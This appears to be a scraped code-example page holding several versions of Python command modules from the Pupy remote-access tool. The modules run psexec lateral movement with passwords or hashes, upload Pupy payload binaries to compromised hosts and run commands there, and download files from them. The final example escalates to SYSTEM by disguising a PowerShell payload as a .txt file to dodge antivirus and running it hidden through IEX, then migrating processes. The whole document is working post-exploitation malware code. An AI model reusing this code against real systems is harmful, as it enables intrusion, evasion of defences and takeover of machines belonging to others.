        self.client.load_package("pupyutils.psexec")

        with redirected_stdo(self.client.conn):
            for host in hosts:
                self.info("Connecting to the remote host: %s" % host)
                self.client.conn.modules["pupyutils.psexec"].connect(
                    host, args.port, args.user, args.passwd, args.hash,
                    args.share, file_to_upload, remote_path, dst_folder,
                    args.command, args.domain, args.execm)

            if args.ps1_oneliner:
                self.warning('stopping the local server (pid: %s)' %
                             process.pid)
                process.terminate()

            elif args.ps1:
                self.warning('Do not forget to remove the file: %s' %
                             dst_folder + first_stage)
                self.warning('Do not forget to remove the file: %s' %
                             dst_folder + second_stage)
Example #33
0
 def run(self, args):
     upload(self.client.conn, args.local_file, args.remote_file)
     self.success("file local:%s uploaded to remote:%s" %
                  (args.local_file, args.remote_file))
Example #34
0
    def run(self, args):
        if not args.arguments:
            self.error('No command specified {}'.format(args.__dict__))
            return

        cmdargs = args.arguments

        to_upload = []
        to_download = []
        to_delete = []

        ros = None

        for i, arg in enumerate(cmdargs):
            for local, direction, remote in self.updl.findall(arg):
                if not ros:
                    ros = self.client.conn.modules['os']

                if local == '$SELF$':
                    platform = self.client.platform
                    if not platform in ('windows', 'linux'):
                        self.error('Couldn\'t use $SELF$ on platform {}'.format(platform))
                    xlocal = '$SELF$'
                else:
                    xlocal = os.path.expandvars(local)

                xremote = ros.path.expandvars(remote)

                if direction == '<':
                    to_download.append((xremote, xlocal))
                else:
                    if xlocal == '$SELF$':
                        mode = 0711
                        to_upload.append((xlocal, xremote, mode))
                    else:
                        if not os.path.exists(xlocal):
                            self.error('No local file {} found (scheduled for upload)'.format(
                                xlocal))

                        mode = os.stat(xlocal).st_mode
                        to_upload.append((xlocal, xremote, mode))

                arg = arg.replace('^'+local+'^'+direction+remote+'^', remote)

            cmdargs[i] = arg

        for local, remote, mode in to_upload:
            if local == '$SELF$':
                platform = self.client.platform
                arch = ''
                config = self.client.get_conf()

                payload = b''
                if self.client.is_proc_arch_64_bits():
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx64_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx64_lin(config)

                    arch = 'x64'
                else:
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx86_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx86_lin(config)

                    arch = 'x86'

                with tempfile.NamedTemporaryFile() as tmp:
                    self.info('Store pupy/{}/{}/size={} to {}'.format(
                        platform, arch, len(payload), tmp.name))
                    tmp.write(payload)
                    tmp.flush()
                    self.info('Upload {} -> {}'.format(tmp.name, remote))
                    upload(self.client.conn, tmp.name, remote)
            else:
                self.info('Upload {} -> {}'.format(local, remote))
                upload(self.client.conn, local, remote)

            ros.chmod(remote, mode)

        cmdenv = {
            'stderr': (None if args.n else subprocess.STDOUT),
            'universal_newlines': False,
        }

        if len(cmdargs) == 1 and ' ' in cmdargs[0]:
            cmdenv.update({
                'shell': True
            })
            cmdargs = cmdargs[0]
        else:
            cmdenv.update({
                'shell': False
            })
            if args.s:
                cmdargs = [
                    'cmd.exe', '/c',
                ] + cmdargs if self.client.is_windows() else [
                    '/bin/sh', '-c', ' '.join(
                        '"'+x.replace('"','\"')+'"' for x in cmdargs
                    )
                ]

        self.pipe = self.client.conn.modules[
            'pupyutils.safepopen'
        ].SafePopen(cmdargs, **cmdenv)

        if hasattr(self.job, 'id'):
            self.success('Started at {}): '.format(
                datetime.datetime.now()))

        self.success('Command: {}'.format(' '.join(
            x if not ' ' in x else "'" + x + "'" for x in cmdargs
        ) if not cmdenv['shell'] else cmdargs))

        close_event = threading.Event()

        def on_read(data):
            self.stdout.write(data)

        def on_close():
            close_event.set()

        self.pipe.execute(on_close, None if args.N else on_read)
        while not ( self.terminate.is_set() or close_event.is_set() ):
            close_event.wait()

        if self.pipe.returncode == 0:
            self.success('Successful at {}: '.format(datetime.datetime.now()))
        else:
            self.error(
                'Ret: {} at {}'.format(self.pipe.returncode, datetime.datetime.now()))

        for remote, local in to_download:
            if ros.path.exists(remote):
                self.info('Download {} -> {}'.format(remote, local))
                download(self.client.conn, remote, local)
            else:
                self.error('Remote file {} not exists (scheduled for download)'.format(remote))

        if hasattr(self.job, 'id'):
            self.job.pupsrv.handler.display_srvinfo('(Job id: {}) Command {} completed'.format(
                self.job.id, cmdargs))
Example #35
0
    def run(self, args):
        if not args.arguments:
            self.error('No command specified {}'.format(args.__dict__))
            return

        cmdargs = args.arguments

        to_upload = []
        to_download = []
        to_delete = []

        ros = None

        for i, arg in enumerate(cmdargs):
            for local, direction, remote in self.updl.findall(arg):
                if not ros:
                    ros = self.client.conn.modules['os']

                if local == '$SELF$':
                    platform = self.client.platform
                    if not platform in ('windows', 'linux'):
                        self.error(
                            'Couldn\'t use $SELF$ on platform {}'.format(
                                platform))
                    xlocal = '$SELF$'
                else:
                    xlocal = os.path.expandvars(local)

                xremote = ros.path.expandvars(remote)

                if direction == '<':
                    to_download.append((xremote, xlocal))
                else:
                    if xlocal == '$SELF$':
                        mode = 0711
                        to_upload.append((xlocal, xremote, mode))
                    else:
                        if not os.path.exists(xlocal):
                            self.error(
                                'No local file {} found (scheduled for upload)'
                                .format(xlocal))

                        mode = os.stat(xlocal).st_mode
                        to_upload.append((xlocal, xremote, mode))

                arg = arg.replace('^' + local + '^' + direction + remote + '^',
                                  remote)

            cmdargs[i] = arg

        for local, remote, mode in to_upload:
            if local == '$SELF$':
                platform = self.client.platform
                arch = ''
                config = self.client.get_conf()

                payload = b''
                if self.client.is_proc_arch_64_bits():
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx64_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx64_lin(config)

                    arch = 'x64'
                else:
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx86_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx86_lin(config)

                    arch = 'x86'

                with tempfile.NamedTemporaryFile() as tmp:
                    self.info('Store pupy/{}/{}/size={} to {}'.format(
                        platform, arch, len(payload), tmp.name))
                    tmp.write(payload)
                    tmp.flush()
                    self.info('Upload {} -> {}'.format(tmp.name, remote))
                    upload(self.client.conn, tmp.name, remote)
            else:
                self.info('Upload {} -> {}'.format(local, remote))
                upload(self.client.conn, local, remote)

            ros.chmod(remote, mode)

        cmdenv = {
            'stderr': (None if args.n else subprocess.STDOUT),
            'universal_newlines': False,
        }

        if len(cmdargs) == 1 and ' ' in cmdargs[0]:
            cmdenv.update({'shell': True})
            cmdargs = cmdargs[0]
        else:
            cmdenv.update({'shell': False})
            if args.s:
                cmdargs = [
                    'cmd.exe',
                    '/c',
                ] + cmdargs if self.client.is_windows() else [
                    '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"'
                                              for x in cmdargs)
                ]

        self.pipe = self.client.conn.modules['pupyutils.safepopen'].SafePopen(
            cmdargs, **cmdenv)

        if hasattr(self.job, 'id'):
            self.success('Started at {}): '.format(datetime.datetime.now()))

        self.success('Command: {}'.format(' '.join(
            x if not ' ' in x else "'" + x + "'"
            for x in cmdargs) if not cmdenv['shell'] else cmdargs))

        log = None
        if args.log:
            log = args.log.replace('%m', self.client.desc['macaddr']).replace(
                '%p', self.client.desc['platform']).replace(
                    '%a', self.client.desc['address']).replace(
                        '%h', self.client.desc['hostname'].replace(
                            '..', '__').replace('/', '_')).replace(
                                '%u', self.client.desc['user'].replace(
                                    '..', '__').replace('/', '_'))

            dirname = os.path.dirname(log)

            if not os.path.exists(dirname):
                os.makedirs(dirname)

            log = open(log, 'w')

        close_event = threading.Event()

        def on_read(data):
            self.log(data)
            if not self.terminate.is_set():
                log.write(data)

        def on_close():
            close_event.set()

        self.pipe.execute(on_close, None if args.N else on_read)
        while not (self.terminate.is_set() or close_event.is_set()):
            close_event.wait()

        if log:
            log.close()

        if self.pipe.returncode == 0:
            self.success('Successful at {}: '.format(datetime.datetime.now()))
        else:
            self.error('Ret: {} at {}'.format(self.pipe.returncode,
                                              datetime.datetime.now()))

        for remote, local in to_download:
            if ros.path.exists(remote):
                self.info('Download {} -> {}'.format(remote, local))
                download(self.client.conn, remote, local)
            else:
                self.error(
                    'Remote file {} not exists (scheduled for download)'.
                    format(remote))

        if hasattr(self.job, 'id'):
            self.job.pupsrv.handler.display_srvinfo(
                '(Job id: {}) Command {} completed'.format(
                    self.job.id, cmdargs))
Example #36
0
 def run(self, args):
     upload(self.client.conn, args.local_file, self.client.conn.modules['os.path'].expandvars(args.remote_file))
     self.success("file local:%s uploaded to remote:%s"%(args.local_file, args.remote_file))
Example #37
0
 def run(self, args):
     upload(
         self.client.conn, args.local_file,
         self.client.conn.modules['os.path'].expandvars(args.remote_file))
     self.success("file local:%s uploaded to remote:%s" %
                  (args.local_file, args.remote_file))
Example #38
0
    def run(self, args):
        if not args.arguments:
            self.error('No command specified {}'.format(args.__dict__))
            return

        cmdargs = args.arguments

        to_upload = []
        to_download = []

        rexpandvars = self.client.remote('os.path', 'expandvars')
        rexists = self.client.remote('os.path', 'exists')
        rchmod = self.client.remote('os', 'chmod')
        safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec',
                                       False)

        for i, arg in enumerate(cmdargs):
            for local, direction, remote in self.updl.findall(arg):
                if local == '$SELF$':
                    platform = self.client.platform
                    if not platform in ('windows', 'linux'):
                        self.error(
                            'Couldn\'t use $SELF$ on platform {}'.format(
                                platform))
                    xlocal = '$SELF$'
                else:
                    xlocal = os.path.expandvars(local)

                xremote = rexpandvars(remote)

                if direction == '<':
                    to_download.append((xremote, xlocal))
                else:
                    if xlocal == '$SELF$':
                        mode = 0711
                        to_upload.append((xlocal, xremote, mode))
                    else:
                        if not os.path.exists(xlocal):
                            self.error(
                                'No local file {} found (scheduled for upload)'
                                .format(xlocal))

                        mode = os.stat(xlocal).st_mode
                        to_upload.append((xlocal, xremote, mode))

                arg = arg.replace('^' + local + '^' + direction + remote + '^',
                                  remote)

            cmdargs[i] = arg

        for local, remote, mode in to_upload:
            if local == '$SELF$':
                platform = self.client.platform
                arch = ''
                config = self.client.get_conf()

                payload = b''
                if self.client.is_proc_arch_64_bits():
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx64_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx64_lin(config)

                    arch = 'x64'
                else:
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx86_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx86_lin(config)

                    arch = 'x86'

                with tempfile.NamedTemporaryFile() as tmp:
                    self.info('Store pupy/{}/{}/size={} to {}'.format(
                        platform, arch, len(payload), tmp.name))
                    tmp.write(payload)
                    tmp.flush()
                    self.info('Upload {} -> {}'.format(tmp.name, remote))
                    upload(self.client.conn, tmp.name, remote)
            else:
                self.info('Upload {} -> {}'.format(local, remote))
                upload(self.client.conn, local, remote)

            rchmod(remote, mode)

        cmdenv = {
            'stderr': (None if args.n else subprocess.STDOUT),
            'universal_newlines': False,
        }

        if len(cmdargs) == 1 and ' ' in cmdargs[0]:
            cmdenv.update({'shell': True})
            cmdargs = cmdargs[0]
        else:
            cmdenv.update({'shell': False})
            if args.s:
                cmdargs = [
                    'cmd.exe',
                    '/c',
                ] + cmdargs if self.client.is_windows() else [
                    '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"'
                                              for x in cmdargs)
                ]

        if args.set_uid:
            cmdenv.update({'suid': args.set_uid})

        close_event = threading.Event()

        def on_read(data):
            self.stdout.write(data)

        self.terminate_pipe, get_returncode = safe_exec(
            None if args.N else on_read, close_event.set, tuple(cmdargs),
            **cmdenv)

        if hasattr(self.job, 'id'):
            self.success('Started at {}): '.format(datetime.datetime.now()))

        close_event.wait()

        retcode = get_returncode()

        if retcode == 0:
            self.success('Successful at {}: '.format(datetime.datetime.now()))
        else:
            self.error('Ret: {} at {}'.format(retcode,
                                              datetime.datetime.now()))

        for remote, local in to_download:
            if rexists(remote):
                self.info('Download {} -> {}'.format(remote, local))
                download(self.client.conn, remote, local)
            else:
                self.error(
                    'Remote file {} not exists (scheduled for download)'.
                    format(remote))
Example #39
0
    def run(self, args):

        local_file  = ''
        #True if ps1 script will be used in bind mode. If reverse connection with ps1 then False
        isBindLauncherForPs1 = False
        #Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False
        listeningAddressPortForBindPs1 = None
        #Usefull information for bind mode connection (ps1 script)
        launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address']
        #Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
        if launcherType == "bind":
            self.info('The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(addressPort))
            isBindLauncherForPs1 = True
            self.info('Consequently, powershell option is enabled')
            args.powershell = True
        else:
            self.info('The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)')
            isBindLauncherForPs1 = False

        # restart current exe as system
        if args.restart:
            self.info('Using current executable')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' % self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmd = self.client.desc['exec_path']

        # use powerhell to get a reverse shell
        elif args.powershell or isBindLauncherForPs1:
            clientConfToUse = None
            ros         = self.client.conn.modules['os']
            rtempfile   = self.client.conn.modules['tempfile']
            tempdir     = rtempfile.gettempdir()
            random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)])
            remotefile  = ''

            if isBindLauncherForPs1:
                self.info('Using powershell payload because the launcher on the target uses a bind connection. Launcher listens on {0}'.format(addressPort))
                self.info("Bind launcher used. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port")
                self.info("Be careful, you have to choose a port which is not used on the target!")
                listeningPort = -1
                while listeningPort==-1:
                    try:
                        listeningPort = int(input("[?] Give me the listening port to use on the target: "))
                    except Exception as e:
                        self.warning("You have to give me a valid port. Try again. ({})".format(e))
                listeningAddress = addressPort.split(':')[0]
                listeningAddressPortForBindPs1 = "{0}:{1}".format(listeningAddress, listeningPort)
                self.info("The ps1 script used for get a System pupy shell will be configured for listening on {0} on the target".format(listeningAddressPortForBindPs1))
                bindConf = self.client.get_conf()
                #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target
                bindConf['launcher_args'][bindConf['launcher_args'].index("--port")+1] = str(listeningPort)
                clientConfToUse = bindConf
            else:
                self.info('Using powershell payload because you have chosen this option. The launcher on the target uses a reverse connection')
                clientConfToUse = self.client.get_conf()
            if '64' in  self.client.desc['proc_arch']:
                local_file = pupygen.generate_ps1(clientConfToUse, x64=True)
            else:
                local_file = pupygen.generate_ps1(clientConfToUse, x86=True)

            # change the ps1 to txt file to avoid AV detection
            random_name += '.txt'
            remotefile  = ros.path.join(tempdir, random_name)

            cmd     = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe'
            param   = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile

            cmd = '%s %s' % (cmd, param)

            self.info("Uploading file in %s" % remotefile)
            upload(self.client.conn, local_file, remotefile)

        # migrate
        else:
            cmd     = args.prog

        with redirected_stdo(self):
            proc_pid = self.client.conn.modules["pupwinutils.security"].getsystem(prog=cmd)

        if args.migrate and not args.restart and not args.powershell:
            migrate(self, proc_pid, keep=args.keep, timeout=args.timeout)
            self.success("got system !")
        else:
            if isBindLauncherForPs1 == True:
                self.success("You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell".format(listeningAddressPortForBindPs1))
            else:
                self.success("Waiting for a connection (take few seconds, 1 min max)...")

        if args.powershell:
            os.remove(local_file)